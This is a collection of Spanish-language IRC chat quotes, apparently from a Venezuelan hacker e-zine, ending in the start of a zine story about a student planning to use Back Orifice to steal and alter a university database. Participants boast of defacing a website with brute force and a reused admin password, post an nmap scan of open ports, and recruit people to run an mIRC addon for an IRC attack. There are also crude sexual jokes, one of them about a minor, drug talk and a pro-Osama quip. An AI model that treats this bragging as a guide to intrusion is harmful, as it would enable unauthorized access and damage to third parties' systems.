<elreviron> :-\
<[w0w]kl0nk> hable ayer con la novia y me dijo que no sabia nada
<elreviron> puede ser que se haya retrasado el vuelo
<elreviron> a veces se retrasan hasta 6 horas
<[w0w]kl0nk> Para mi que el sucio ese esta preso
<elreviron> xD
<[w0w]kl0nk> seguro que se quiso saltar alguna verga pa venirse rapido a venezuela
<[w0w]kl0nk> y lo cacaron de one
<[w0w]kl0nk> asi fue una vez
<elreviron> wau
<elreviron> que feo
<[w0w]kl0nk> y la embajada lo devolvio

%

<Maquiavelo> PiranhaX: te dieron el triciclo de cumpleaños?
<PiranhaX> Maquiavelo: no, fui a tirar con una puta, me regalaron un pc nuevo y un carrito, un Corsa, feliz?
<Maquiavelo> bueno, pero era una niña puta no?

%

<mastrax> y de muuucha falta del admin
<NegrunCH> tu sabes q hackear además de conocimientos es insistir
<NegrunCH> bueno eso hicimos
<elreviron> tipico
<elreviron> un admin chimbo
<mastrax> yep
<NegrunCH> saacando info y fuerzaa bruta, nada del otro mundo :)
<NegrunCH> si
<elreviron> me supongo que nt-plugamplei
<mastrax> mucha fuerza bruta
<NegrunCH> si
<elreviron> pffffff
<elreviron> na pa mala
<elreviron> despues dicen que los hackers son malos

%

<Maquiavelo> y el corsa no lo puedes usar hasta que tengas 18 ok?
<PiranhaX> eso no lo entendi
<Maquiavelo> nada de robarse el carro
<PiranhaX> Maquiavelo: ya lo puedo usar!
<Maquiavelo> pero si tu no tienes 18
<PiranhaX> 16
<MrZykl0n> hahahaha


%

<elreviron> Es decir un mundo satisfactorio pare gentes razonables.
<elreviron> ¿Y quedará en el alguien, uno solo, que no sea razonable?
<elreviron> En algún rincón, un vestigio del reino olvidado. En alguna muerte violenta, el castigo por haberse acordado del reino. En alguna risa, en alguna lagrima, la sobrevivencia del reino. En el fondo no parece que el hombre acabe por matar al hombre. Se le va a escapar, le va a agarrar el timón de la maquina electrónica, del cohete sideral, le va a hacer una zancadilla y después que le echen un galgo. Se puede matar todo menos la nostalgia del reino, la 
<elreviron> llevamos en el color de los ojos, en cada amor, en todo lo que profundamente atormenta y desata y engaña. Wishful thinking, quizá; pero esa es otra definición posible del bípedo implume.
<kl0nk> este bicho esta fumando ganja.

%

<MrZykl0n> Maquiavelo?:? a lo mejor no le llegan los pies a los pedales lol

%

<PiranhaX> MrZykl0n: SHUT THE FUCK UP
<Maquiavelo> PiranhaX: tienes que ponerte zancos para manejarlo no?
<LiteSys> ahora es gringo, cinco quotes !

%

<Pastillero> nas Kl0nk
<[w0w]kl0nk> Que juuee
<[w0w]kl0nk> como ta todo?
<Pastillero> to bien
<Pastillero> cansao
<Pastillero> como nunca
<[w0w]kl0nk> hehehe
<Pastillero> el curro d mierda!!!!!
<Pastillero> perdon por la expresion
<[w0w]kl0nk> masturbetion session?
<Pastillero> Si

%

<Maquiavelo> o haces un equipo con un amigo?
<MrZykl0n> hahah
<MrZykl0n> ahaah
<MrZykl0n> si
<Maquiavelo> uno aprieta los pedales y tu manejas

%

<elreviron> administradores plugamplei
<mastrax> thanks mindlock
<elreviron> quien les manda
<mastrax> jejej
<mastrax> si por lo menos van a usar plugamplei que lo usen como se debe no???
<mastrax> plugamplei es una herramienta de doble filo, siempre y cuando se sepa usar muuuy bien
<kl0nk> Chavez tambien es un arma de doble filo, jode a venezuela pero mejora las condiciones de cuba

%

<NegrunCH> ya esta http://www.hven.com.ve/hacktivismo/manifesto.txt

%

<PiranhaX> dejen la mariquera
<PiranhaX> mido 1.90 y mi pipi 24

%

<_YoNoFui_> ajá y?
<mindlock> y te digo yo a ti tu no fuiste
<Lam3r> holas
<_YoNoFui_> jeje
<mastrax> :-/
<_YoNoFui_> la tuya
<_YoNoFui_> ;)
<Lam3r> aqui son hackers verdad?
<elreviron> ¬¬
<mastrax> lamer tenias que ser no???
<mastrax> jejejej
<_YoNoFui_> no, somos lamers de verdad como tu jeje
<Lam3r> jajajaja
<Lam3r> a si?
<Lam3r> son todos lamers?
<elreviron> epa
<Lam3r> pues que desilucion!
<elreviron> respeto Lam3r
<Lam3r> pues yo si soy lamer y que pasa

%

<Maquiavelo> PiranhaX: y te caistes de la cama
<Maquiavelo> jeje
<MrZykl0n> ayy "mi pipi"
<MrZykl0n> q gay pana

%

<mastrax> panas ya vengo tengo que formar peo a la jeva

%

<LiteSys> NO NO NO NO PUEDE SER NO NO NO NO
<Maquiavelo> LiteSys: que te pasa? jejeje
<Maquiavelo> LiteSys: te esta dando la palida?
<LiteSys> tantos quotes en tan poco tiempo
<LiteSys> me va a dar una convulsion
<MrZykl0n> Baneen a ese perro!
<LiteSys> NO NO NO NO LO HAGAN
<MrZykl0n> hahahaha
<LiteSys> esta muy productivo

%

<mindlock> abuelito dime tu

%

<MrZykl0n> Maquiavelo/LiteSys: ya vengo voy a hacer "pipi"
<MrZykl0n> hahahahahaahhah
<MrZykl0n> hahaha
<Maquiavelo> ?
<PiranhaX> y como lo digo animal, BURRO CON CEDULA!


%

<mastrax> porque klonk nunca esta aqui?
<elreviron> mastrax: no tiene conexion donde vive

%

<MrZykl0n> PiranhaX?:? di WEBO o MACHETE o algo asi!
<Maquiavelo> PiranhaX se coje a los chivos
<MrZykl0n> pero no "pipi"
<MrZykl0n> hahaha
<PiranhaX> PIPI RULEZ!!!!
<LiteSys> Fantástico, Increíble, Potente, Maravilloso
<Maquiavelo> se dice paloma


%

<elreviron> falta que se jakeen a www.comandantechavez.com

%

<MrZykl0n> <PiranhaX> PIPI RULEZ!!!! <--- ayyyyyy
<PiranhaX> ME GUSTA DECIR PIPI, O PEPE... o como sea
<Maquiavelo> y lo de las mujeres se le dice cocolla
<LiteSys> se dice GUARO
<PiranhaX> O EL TACO LE DIGO YO
<Maquiavelo> CHOCHO
<Maquiavelo> PAPO
<PiranhaX> HOTDOG
<MrZykl0n> "el pipi rules!"


%

<[w0w]kl0nk> mira esto: perra bicht maldita

%


<PiranhaX> verga
<LiteSys> te meto
<PiranhaX> cuerda de maricos reprimidos...
<GodpoT> calma PiranhaX, calma
<GodpoT> ya te va a llegar tu pipisito
<MrZykl0n> ahahahaha
<MrZykl0n> pipisito hahahaahha
<GodpoT> heheh


%

<[w0w]kl0nk> lo que sucede es que el webmaster es un pajuo tirao a gran verga
<[w0w]kl0nk> lo conoci un dia en la puerta
dKd (dkd@nas3-112.ras.xxx.xxxxx.xxx) joined #otv.
<[w0w]kl0nk> hehehe, dice que el es el que adminsitra los dns de ifxnw y tal
<[w0w]kl0nk> y esa red esta mas mal configurada
<mastrax> jeje
<[w0w]kl0nk> con decirles que yo me he robado como 300 ips
<elreviron> xDDDDD
<[w0w]kl0nk> entonces el mancito ese se cree el geek
<mastrax> jeje
<[w0w]kl0nk> tenia ganas de caerle a coñazos pero como no se donde vive el
<dKd> cual es ese?? 
<dKd> jejejeje
<elreviron> xD
<[w0w]kl0nk> el tal RIcardo Mendez
<elreviron> pues jakeale la web
<dKd> no
Action: [w0w]kl0nk Maracucho que se respeta conoce la puerta.
<mastrax> he escuchado que es cerca de la puerta, pero no me consta
<elreviron> xDDDDDDDDDDDDDDDDD
<dKd> la puerta queda en monagas
<[w0w]kl0nk> no, la puerta es ahora territorio maracucho, ahora es La puerta, Estado Zulia.

%

<Maquiavelo> esta triste porque no tiene pelos en el pipisito

%
<[w0w]kl0nk> mi mama me golpea cuando llego despues de las 8:00 pm
<dKd> deberian ir pa merida pa q nos veaamos allá
<[w0w]kl0nk> por eso
<[w0w]kl0nk> casi no salgo
<[w0w]kl0nk> =)
<elreviron> xD
<dKd> eso pasa, pero te da libertades, a mi me deja salir hasta las 6:30 pm

%

<Maquiavelo> el condenado de mindlock compro 13 mil bolos de monte?
*** ChanServ sets mode: +o Pajarote
<[HIT]Parchita> pa meterle sus screenshots
*** Pajarote sets mode: +o-o Pajarote Pajarote
<Pajarote> ajap
<Maquiavelo> jajaja
<Pajarote> asi me dijo
<Pajarote> vergacion
<Maquiavelo> ese ahorita debe andar en las nebulosas
<Pajarote> 13mil bolos de monte son como 25 joints
<Pajarote> na guevonada
<Maquiavelo> si
<Pajarote> y con 1/4 de joint uno esta high
<Maquiavelo> a menos que tengas los rollins que yo tengo
<Maquiavelo> que tengo los de rollo, que buscas la medida y cortas
<Maquiavelo> puedes hacer uno de 10 metros si quieres
<Maquiavelo> jejeje
<Pajarote> na guevonada
<Pajarote> uno colectivo
<Maquiavelo> colectivo?
<Pajarote> van a hacer una cooperativa

%

<[w0w]kl0nk> Tengo ganas de cagar y no hay papel en mi hogar
<dKd> jajaja
<dKd> agarra unas hojas de arbol

%

<[w0w]kl0nk> Bueno gente
<[w0w]kl0nk> será otro dia que hablemos
<[w0w]kl0nk> porque el mamaegg del dueño del cyber
<[w0w]kl0nk> ya me mando a cerrar porque nos vamos pal conio.h
<mastrax> jejeje
<[w0w]kl0nk> entonces 
<mastrax> nos vemos klonk
<mastrax> estamos en contacti
<[w0w]kl0nk> les deseo una feliz navidad porque estamos en enero
<mastrax> contacto perdon
<[w0w]kl0nk> y un prospero año nuevo
<[w0w]kl0nk> byez
<elreviron> xD
[w0w]kl0nk (kl0nk@2ZZ.xx.Xc.AZD) left irc: Quit: Maldita Sea Antonio Aragnivel

%

<elreviron> cambiar europa por venezuela es como cambiar un ferrari por un chevette

%

<Maquiavelo> ese es pa la ciudad entera
<Pajarote> si
<Maquiavelo> y el drako fue a reiniciar por lo del kernel, o se hostino?
<Maquiavelo> jejeje
<Pajarote> le ponen la calcomania del pino del cooperativismo al joint grandotote ese
<Maquiavelo> jajjaa
<Pajarote> de lo mas lujoso
<Pajarote> asi lo llevan en un camión
<Pajarote> lo bajan
<Pajarote> y lo prenden con una antorcha olímpica
<Maquiavelo> aaaaa
<Maquiavelo> se iniciaron los "juegos"

%

<Pajarote> si
<Pajarote> lo prenden y se ve el humo asi en la lejanía
<Pajarote> todo el mundo pensando que esa mierda se esta quemando
<Maquiavelo> asi mismo
<Pajarote> o sin nisiquiera fumarselo ponen high a todo el pueblo
<Maquiavelo> no vale, esos ven el humo y creen que se incendio una torre petrolera
<Pajarote> los viejitos en silla de rueda todos high se ponen a correr por la calle
<Maquiavelo> y envian bomberos y vainas asi
<Maquiavelo> y los bomberos apenas llegan se ponen a fumar
<Maquiavelo> y se tripean el fuego
<Pajarote> si


%

<kl0nk> Bautiza al elreviron como nuestro corrector ortografico (ya no hay necesidad de usar Word)

%

<Maquiavelo> y eso del quote a que se debe?
<Maquiavelo> vas a hacer una vaina como kl0nk
<Maquiavelo> y su hax0r style?
<Maquiavelo> por cierto, me dijo que te dijera que te estaba buscando
<Maquiavelo> que te tiene que contar algo
*** Cisc0kid has joined #linuxlatino
*** ChanServ sets mode: +o Cisc0kid
<Pajarote> contarme algo? la mierda, cuando soy "interesante" si me busca...
<Pajarote> que a que se debe? bueno, pues simplemente que quiero hacer una coleccion de quotes en formato html todo listo para subirlo a mi site para que todo mundo se ria
<Pajarote> yo si soy malo eh?
<Maquiavelo> si chamo
<Maquiavelo> eres muy malo
<Maquiavelo> se te nota en la cara
<Maquiavelo> eres mas malo que pegale a Dios


%

<Pseud0_HacKer> nt= nearthendal tecnology

%

<GodpoT> !seen PiranhaX_haciendo_de_hombre
<Bareli> GodpoT, no recuerdo haber visto a piranhax_haciendo_de_hombre.

%

<[w0w]kl0nk> hehehe
<[w0w]kl0nk> le dieron ganas de cagar
<[w0w]kl0nk> =)
<elreviron> jejejeje
<[w0w]kl0nk> salio corriendo pal bañp
<elreviron> a ver si se inspira y tal
<blackwrite> yo soy mas loko ke tohos
<[w0w]kl0nk> si
<[w0w]kl0nk> jajaj
<blackwrite> soy un loko Rulz
<elreviron> mira loko Rulz
<elreviron> te sale escribir pal zine
<[w0w]kl0nk> jajajaj
<blackwrite> k
<elreviron> asñi que pont ela spilas
<blackwrite> kisas

%

*** |-[Kore]-| was kicked by Soulfly- (??0,1 VenGanZa ¤ ?6Por kickearme de? #yu-k ?el 24/09/2001 [22:04]¤?13)(??8,1 X?0,1-CRiPt ?0,14 5.1 ?1,1 ¤¤?13)(?125k¤¤)
<Soulfly-> malditooooooooooooooooooooooooooooooooooooooooooooooooo
*** |-[Kore]-| has joined #yu-k
*** ChanServ sets mode: +o |-[Kore]-|
*** Soulfly- was kicked by |-[Kore]-| (??0,1 VenGanZa ¤ ?6Por kickearme de? #yu-k ?el 24/09/2001 [22:04]¤?13)(??8,1 X?0,1-CRiPt ?0,14 5.1 ?1,1 ¤¤?13)(?128k¤¤)
*** Soulfly- has joined #yu-k
*** ChanServ sets mode: +o Soulfly-
*** |-[Kore]-| was kicked by Soulfly- (??0,1 VenGanZa ¤ ?6Por kickearme de? #yu-k ?el 24/09/2001 [22:04]¤?13)(??8,1 X?0,1-CRiPt ?0,14 5.1 ?1,1 ¤¤?13)(?126k¤¤)
*** Soulfly- has quit IRC (Quit: ??15,15 ? ?14,14 ? ?1,1 ¤? ?8,1 X?0,1-CRiPt ?0,14 5.1 ?0,1 ht??tp://w??ww.relativo.com ? ?1,1 ¤ ?14,14 ¤ ?15,15 ¤¤)


%

<blackwrite> k puedo escribir
<blackwrite> ?
<elreviron> pues algo de lo cual domines, estés investigando o te guste
<elreviron> algo propio y original
<elreviron> cualquier cosa dentro de ese marco
[w0w]kl0nk> Un Ejemplo: cuantos polvos tiene un hombre en toda su vida, y haces un estudio a "fondo" sobre el tema.
<elreviron> se vale traducir textos actualizados
<[w0w]kl0nk> por alli dicen que 5000
<elreviron> eso es para hacer una tesis
<[w0w]kl0nk> y que luego deja de funcionar
<elreviron> uy
<[w0w]kl0nk> en la cama
<elreviron> y yo que he gastado como 4000 en pajas
<[w0w]kl0nk> por eso les digo: Dejen de totearcela tanto, que se les va a caer el bicho.

%

<Pantro> errr litesys!
<Pantro> como esta usted!
<LiteSys> Pantro ?
<Pantro> si los thundercats
<Pantro> hehe
<Pantro> Soy yo perra l0cke

%

<inouttime> pidan assembler y C/C++, eso es lo mio, y por su puesto que es de prog, un ejemplo, como trampear tus juegos con el depurador de C, jejeje, aunque ya es viejo
<[w0w]kl0nk> pero despues no me dijo mas nada
<[w0w]kl0nk> inouttime: ese es el propio
<[w0w]kl0nk> el de los juegos con asm
<[w0w]kl0nk> como programar en openGL utilizando ASM
<inouttime> no joda, en asm? mucho codigo!!!!

%

*** LiteSys is now known as Snarf_
<Snarf_> donde esta leonó con la espada del augurio ?
<Pantro> hahahhhaah
<Soulfly-> jajaja
<Soulfly-> ke cagada
<Snarf_> te acuerdas cuando estabamos con mindlock y maquia hablando de los thundercats ?

%

[w0w]kl0nk (~null@150.18Z.ZX.XX.XX) left irc: Quit: massimo es massimo mi negro

%

<Pantro> Espectro?
<Pantro> espectro es un imbecil
<LiteSys> espectro suxx
<Pantro> Nosotros somos mejores ops q el
<Pantro> verdad lite?


%

<mastrax> señores como es posible esto:
<mastrax> 2 veces negrunch y yo cambiamos la pagina de los leones y el @#%&/("! del admin ni le ha pasado por la  cabeza cambiar el pass del login con el que usamos, y despues se quejan no??? jejejej ;)
<z3tA> =P
<elreviron> bueno... Chavez es presidente acá, despues de eso.... cualquier vaina es posible
<mastrax> estoy dentro del server, pero hoy no tengo ganas de hacerle pasar un mal rato al admin
<mastrax> jjejejejej
<elreviron> ponle tu propia contraseña
<elreviron> y que se mamen una para auto-jakiarse
<elreviron> xDDDDD
<D0ct0r_LKM> oprque odian tanto a chavez
<elreviron> chavez que se muera
<elreviron> por chimbo
<mastrax> porque se le salieron los tornillos
<elreviron> por ignorante
<elreviron> por ranchudo
<mastrax> por alzao
<z3tA> xDDD
<elreviron> por gritón
<elreviron> por falta de clase
<mastrax> por loooocoooo
<elreviron> por arrastrao
<elreviron> por pajúo
<mastrax> por mojonero
<elreviron> por dictador
<D0ct0r_LKM> comun en nuestros dias odiar a el presidente de uno
<elreviron> por bicho
<mastrax> por grosero
<elreviron> por enchufao
<z3tA> pfff como q si tienen razones pa odiarlo!!!
<mastrax> por insultador
<elreviron> etc....

%

<LiteSys> una limosnita
<LiteSys> una limosnita
<LiteSys> por este pobre niño que quiere meterse un porro
<Amamos_a_Espectro> ademas el es genial tan genial que en intertulia la gente si habla

%

<elreviron> Caracas
<elreviron> capital de este manicomio politico.

%

<LiteSys> NO PoR FAVOR
<CosmicKitty_y_ChicaIncubus> algo mas?
<LiteSys> NO QUIERO VER A HERMES EL ILUMINADO
<Harry-Pothead> hhahahaha
<Harry-Pothead> hermes
<Harry-Pothead> hahaahhah
<CosmicKitty_y_ChicaIncubus> hermes es lo maximo
<Harry-Pothead> tai loca
<Harry-Pothead> es un ridiculo
<CosmicKitty_y_ChicaIncubus> aja y si a mi me encanta
<CosmicKitty_y_ChicaIncubus> claro el hasta bueno esta

%


<Maquiavelo> ando ahorita medio en la nebulosa
<Maquiavelo> porque ando con una instalacion fresquita de windows xp
<Maquiavelo> y ahora voy a ir a instalar el sonido
<Maquiavelo> brb


%

<mastrax> La pena será de cinco a diez años de prisión por modificar data 
<mastrax> un hacker no es un maleante, delicuente, no pienso que los deban mezclar, un hacker no anda matando a gente por las calles
<mastrax> osea que si me hubiesen pillado en forma con los leones jejej voy pa tocuyito por minimo 5 años?
<mastrax> porque sobreescribir un archivo es modificar data
<mastrax> no me parece
<mastrax> que piensan uds.?
<z3tA> weno pana las leyes son leyes
<elreviron> mastrax: un ejemplo
<elreviron> te metes en leones.com
<mastrax> aja
<elreviron> y puteas a la esposa del admin
<elreviron> pa colmo te crakeas todos los sites que hay allí
<elreviron> y mandas pal coño la tabla de particiones
<elreviron> o metes un virus coñoemadre
<mastrax> jejejej
<mastrax> votan al pobre admin
<elreviron> (muy buenas ideas, coje dato)
<elreviron> ;)
<mastrax> jejeje
<elreviron> aja
<mastrax> sigue
<elreviron> cuanto cuesta pagarle a alguien para que ponga todfo en orden ?
<D0ct0r_LKM> donde te cojan fijo te proponen trabajo de admi en el site jajajjajaj
<mastrax> verga muchooo dinero
<elreviron> ok
<mastrax> yo opino lo siguiente:
<elreviron> y cuanto cuesta conseguirte a ti ?
<elreviron> piensa en lo que hay que gastar en expertos y abogados
<mastrax> estoy ordenando las ideas......
<elreviron> defragmentando el cerebro, pues
<elreviron> ;)
<mastrax> si en venezuela los admins fueran unos tremendo dioses administrado redes y con todo y eso los estan jodiendo es hora de aplicar leyes, pero si los imbeciles de los administradores ni siquieran se fijan que un pass de admin no debe ser "123"  o el nombre de una cerveza conocida,, verga primero comienzen por los administradores no?????
<z3tA> xDDD
<mastrax> viendolo del punto de vista de un malandro....
<elreviron> claro
<elreviron> ademas
<elreviron> imaginate que eres un emeverrista
<elreviron> de esos brutotes coje-putas juega-caballos
<elreviron> y te dicen que un "jaker" te jodió el negocio de tu hijo (un huele-coca)
<mastrax> jejejejejej
<z3tA> de esos brutotes coje-putas juega-caballos <------- jajajajaja
<elreviron> xDDDDDDDDD (que cuadro, pero de un típico)
<elreviron> aja
<z3tA> que poeta!!! xDDDD
<mastrax> es como si el delincuente pasara por una casa arrechisima y ve a la gente durmiendo con las puertas abiertas, coño cierren esas puertas
<elreviron> dime tu si el cerebro alcoholizado con ron barato de ese tipo
<elreviron> puede saber que hacer para conseguirte
<mastrax> pero si es una empresa grande mueven lo que tengan que mover para conseguirte
<mastrax> pero cantv como isp puede revelar los ip's a terceros si se los piden?
<elreviron> por eso
<elreviron> diste en el clavo
<elreviron> si tu delito no vale mas de $2000
<elreviron> ni se preocupan en buscarte
<mastrax> ese es el precio?
<elreviron> no se
<elreviron> por decir algo
<elreviron> coño mastrax
<elreviron> es que no sale rentable buscarte si te bailaste 50.000 bolos !!!!
<elreviron> no se lo pierdan
<elreviron> Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
<elreviron> Host  (2ZX.8X.1ZX.WS) appears to be up ... good.
<elreviron> Initiating SYN Stealth Scan against  (2Dx.XC.XA.ZXC)
<elreviron> Adding TCP port 139 (state open).
<elreviron> 139
<elreviron> les suena familiar ?
<elreviron> Adding TCP port 135 (state open).
<elreviron> estos estan mas que jodidos
<elreviron> pobres criaturas del señor

%

<edd-> jijijijijij
<edd-> pa los ke no saben kien es walberto
<edd-> es el hermano de hedeberto
<edd-> rigoberto
<edd-> y heberto
<edd-> sonn hermanos
<edd-> jejejejeje
<CosmicKitty_y_ChikaIncubus> me rio o lo dejo de tarea?
<edd-> y el papa ke se llama BERTO

%

[00:58] <mastrax> "esos hacker coños de madre, los voy a joder, como me hizo trabajar este domingo les voy a cambiar la carpeta del site de los leones y se la dejare vacia para que crean que ya no esta alojada en este server mas nunca, jejejejje que mas podria pensar???? :DDDD

%

<Guest03954> SOY RICO
<Guest03954> NECESITO UN AMOR

%

<edd-> WHO WANTS TO MAKE THE LOVE ??????????????????''
<edd-> jejejejeje
<LiteSys> !quote
<l0cke> hahahahaha
<l0cke> ahaahha
<CosmicKitty_y_ChikaIncubus> yo pero no contigo
<edd-> a kien le gusta dream theater ??????????'
<LiteSys> NIU INGLICH MACHAQUEITOR PRO

%

<bil0> quien esta dispuesto a hacer un pekeño ircwar?
<bil0> es rapido facil y seguro.. (solo windows users)
<bil0> rapido que es urgente el atake empiesa en 10 minutos
<bil0> solo les tengo ke mandar un addon de 3kb
<bil0> se lo ponen al mirc
<bil0> y lo corren

%

<LiteSys> l0cke: vivan los 80s, hu hu hu
<LiteSys> XDDDDDDDDDDDDDDDDd
<l0cke> hahah
<LiteSys> que masa
<l0cke> nojoda!
<LiteSys> iron maiden, stratovarius y tal
<l0cke> los 80s son una mierda!
<chiki-> jajaja!
<LiteSys> si marico pero te gusta dream theater no? GAY

%

<elreviron> que chimbo
<elreviron> triste la verdad
<z3tA> a lo mejor es chavista el admin xDDDD

%

<monkey> por aqui  hay un coño qeu es un abadura,,,ta mas podrio que la verga   y es drogo ,,es yque amigo mio

%

<elreviron> HomeroBot es parcha, no lo saludes

%

<tiri--mindless> miguel moly esta muerto no lo invoquen

%

<elreviron> la planta de la marihuanba no es ilegal

%

*** l0cke changes topic to 'Artistas q nunca triunfaron: Miguel Moly, Roberto Antonio, Millie Vanilly, Carolina con K, Los Melodicos, Las Chicas del Can y pare usted de contar :)¤'
<LiteSys> wilfrido vargas
<LiteSys> lolololol

%

<Maquiavelo> ME PICA EL MACHETE

[ NOTA: Ver mas arriba "Me pica la concha" por el mismo Hermafrodita ]


%

<elreviron> Chavez es como el MSDOS
<elreviron> no esta muerto, solo huele así

%

<Maquiavelo> damn
<Maquiavelo> monche moche
<Maquiavelo> monchi
<Maquiavelo> comida
<Maquiavelo> hambre
<l0cke> Maquiavelo?:? anda a comer ;)
<Maquiavelo> pa alla voi
<Maquiavelo> atun con mayonesa
<l0cke> verga..
<litesys> cola de babilla
<litesys> sabe a pollo
<l0cke> yo odio el atun.
<l0cke> hahaahaha
<l0cke> cola de babilla
<l0cke> hahah

%

pc1717 (YourNick@d1XX-ZXC-WS.home.cgocable.net) joined #otv.
<pc1717> !list
<elreviron> buenas pc1717
<elreviron> no
<elreviron> aqui no hay fservs
<elreviron> ;)
<pc1717> maybe i have the wrong otv?
<elreviron> maybe
<elreviron> what you're looking for ?
<pc1717> otv episodes

%

<kl0nk> tenes cel zeta?
<z3tA> nop eso da cancer xDDDDD
<kl0nk> jajajaj
<kl0nk> en las orejas?
<z3tA> y en la parte donde lo tienes guindando tambien xDDD
<kl0nk> jajaja
<kl0nk> el mio siempre esta serca de "nies"
<kl0nk> porque esta simpre en cualquier bolsillo del pantalon
<z3tA> jeejeje
<kl0nk> sabes que es el "nies"?
<z3tA> hmm creo q nop
<kl0nk> nies = "nies" culo "nies" guevo, es ese espacio en blanco que queda entre el culo y el guevo
<kl0nk> aqui le llamamos "la diskoteka"
<z3tA> jajajajajajajaja
<kl0nk> porque alli bailan las bolas

%

<litesys> alguno de ustedes come iguana ?
<l0cke> ehm no
<l0cke> hehe
<l0cke> litesys?:? tu si?
<litesys> yeah
<litesys> es riquisima
<litesys> tambien sabe a pollo
<l0cke> heheh
<Mindlock> bah
<l0cke> si tu lo dices.
<Mindlock> solo los fans de tio simon comen eso

%

<m4str4x>  mira y que dominas mas el plugandplei o linux
<mindlock> domino mas el plug&play... pero sé bastante de linux ;P

%

<litesys> la otra vez yo llame a casa de Mindlock
<litesys> y estaba escuchando a reinaldo armas
<l0cke> hahaahahah
<l0cke> ahahahaaha
<litesys> cuando supo que era yo, le bajo el volumen
<litesys> y lo cambio
<litesys> por uno de pedro el escamozo
<l0cke> pedro el escamoso es el como mas ijueputa y salao de este mundo!!!!!!!!!!!!!!!!!!!!!!

%

<bil0> estoyr
<bil0> runeando
<bil0> mi egg
<bil0> sale
<bil0> bash-2.05$ ./eggdrop baaloul.conf
<bil0> bash: ./eggdrop: Permission denied    
<bil0> k puedo hace
<bil0> sabes de shells?

%

<Maquiavelo> PATO AVENTURASSSSSSSSSSSS
<Maquiavelo> CON LOS PATOS
<Maquiavelo> U U

%

<darkgrave> viendo que unos mariquitos de cstrike
<darkgrave> fusilaron la pagina del orion team
<hackhour> ah?
<hackhour> a que te refieres con que fusilaron la pagina?
<hackhour> la tumbaron?
<darkgrave> no vale..
<darkgrave> se la copiaron igualita
<darkgrave> los muy desgraciaos
<hackhour> ahh ya
<hackhour> tienes la url?
<darkgrave> www.lodven.cjb.net

%

<litesys> yo era el admirador mas grande PATO APARATO, por eso de ver esa mierda es que todos aqui estamos hechos unos patos, y Mindlock es el cisne

%

<CyBeRRiDeR> ese elreviron
<CyBeRRiDeR> hola blackwrite
<elreviron> ese
<elreviron> que dice CyBeRRiDeR
<CyBeRRiDeR> como ta la vaina revi
<elreviron> pos aki
<elreviron> te cuento
<elreviron> te salvaste de perinola
<CyBeRRiDeR> aja
<CyBeRRiDeR> dime
<elreviron> xDDD
<CyBeRRiDeR> por ke
<elreviron> casi se me jode la quemadora
<elreviron> 8-|
<CyBeRRiDeR> jejeje
<CyBeRRiDeR> porke
<elreviron> que susto won
<elreviron> de lo mas loco
<elreviron> metí un CD de la configuración de la HP930
<elreviron> y estalló esa vaina adentro
<elreviron> el CD se volvió mierda
<CyBeRRiDeR> mierda
<elreviron> la quemadora sonaba como una caja de LEGO

%

<l0cke> alguien aqui se puso fiebruo con himan??
<Mindlock> yo
<Mindlock> tenƯa todos los mu±equitos
<l0cke> yo tambien
<Mindlock> y el tigre verde
<Mindlock> heheheh
<litesys> epa!!!!  Y QUIEN AQUI VEIA A LOS THUNDERCATS ????
<l0cke> y los castillos!
<l0cke> yo!
<litesys> si!
<litesys> espada del augurio!
<l0cke> thundercats r0x!
<Mindlock> THUNDER THUNDER JOOOOOO
<l0cke> hehe si!


%

<litesys> y LOS HALCONES GALACTICOS ? esos tambien eran arrechisimos!!!
<l0cke> maquiavelo tenia como 10 a±os cuando pasaban himan
<l0cke> verga los silverhawks
<Capone> MALDITA SEA
<Capone> perdi un remate
<litesys> esos mismos, pero hay que decirlo en criollo

%

<CaponeX> alguien conoce algo parecido a esto?
<CaponeX> http://spa.loquesea.com/cocacola/

%

*** LiteSys changes topic to 'Si si si, ya sabemos que hubo un atentado y se tiraron unos cuantos de las torres asi que no tienes que decirnos... ?osama los que vamos a morir te saludan.?¤'

%

<LiteSys> ok
<LiteSys> pasa
<LiteSys> que hace un a±o
<LiteSys> yo agarre a la cachifa
<LiteSys> y la enchufe como cuatro veces en un dia
<l0cke> aja
<LiteSys> tenia un solo cond¾n y lo lavaba
<LiteSys> y a la semana
<LiteSys> la muy puta renunci¾

%

<LiteSys> yo atracaba los carajitos en las busetas para poder obtener efectivo
<LiteSys> esos eran mi cajero
<LiteSys> hasta que me agarro un "carajito" de 28 a±os

%

<PiranhaX> a la mierda con el terrorismo
<LiteSys> l0cke: capitano, mire: http://pagina.de/wintermute
<LiteSys> NO! Osama r0x !!!!!!!

%

<PiranhaX> no digas esa estupides desgraciado!
<LiteSys> que te pasa? eres otro mariquito mas que se le vende a babylonia
<LiteSys> esto tenia que pasar tarde o temprano
<PiranhaX> pero un terrorista no merece ni vivir!
<LiteSys> pero parece que tu todavia no entiendes como los estados unidos miran las naciones tercermundistas como un negocio...
<PiranhaX> mmmm...
<LiteSys> ponte en el lugar de los palestinos


[--]

-[ 4x13.txt ]----------------------------------------------------------------
-[ Casos de la vida real ]-----------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ staff@otv.org.ve ]-

  Sexo, Pirateria y Videos.
  =========================
  
  Este es la triste historia de Cheo, un nerd en potencia pero a la vez un 
  super estupido, las mujeres lo buscanban por interes y es aqui donde
  comienza su historia ...
  
  Una ma~ana en la Univeridad Santa Lucia, Cheo, el super poderoso nerd 
  empieza a conectarse a internet con fines sucios, piratear y piratear.
  El creia que como estaba en Venezuela NUNCA podia ir preso por delitos
  informaticos, entonces el conoce un grupos de lammas en la red, en un 
  canal de chat de sexo publico, en la cual su conversacion consistia en
  lo siguiente:
  
  <SuperCheo> Que dice manes, como esta todo?, me consiguieron los que les
              le pedi?.
  <Lamma1> Si, aqui te tengo el Back orifice, es muy bueno porque puedes 
           mantener el control de la maquina victima sin que ella se de 
	   cuenta.
  <SuperCheo> Sisisi, pasamelo via email porque ya vas a ver que lo que voy 
              hacer.
  <Lamma2> Anda cheo, dinos que vas a hacer, vas a robar numeros de tarjetas
           de credito?, que piensas hacer?.
  <SuperCheo> Lo que pienso hacer es sacarme toda la base de datos de las
              inscripciones de los alumnos que empiezan a estudiar en la 
	      universidad, ademas de sacar tambien la de los alummnos regulares
	      y las voy a modificar porque pienso cobrar mucho dinero a los
	      vagos que estudian en mi universidad.
  <Lamma2> Jejeje, muy bien SuperCheo, me parece maravilloso, de seguro no 
           habra problemas, el BO es excelente y anti-detectable. 
  <SuperCheo> Ok, les cuento luego.
  
  Al dia siguiente el revisa su correo y ve que sus amigos le han enviado el
  BO, el procede inmediatamente a bajarlo y leer la documentacion, el ve
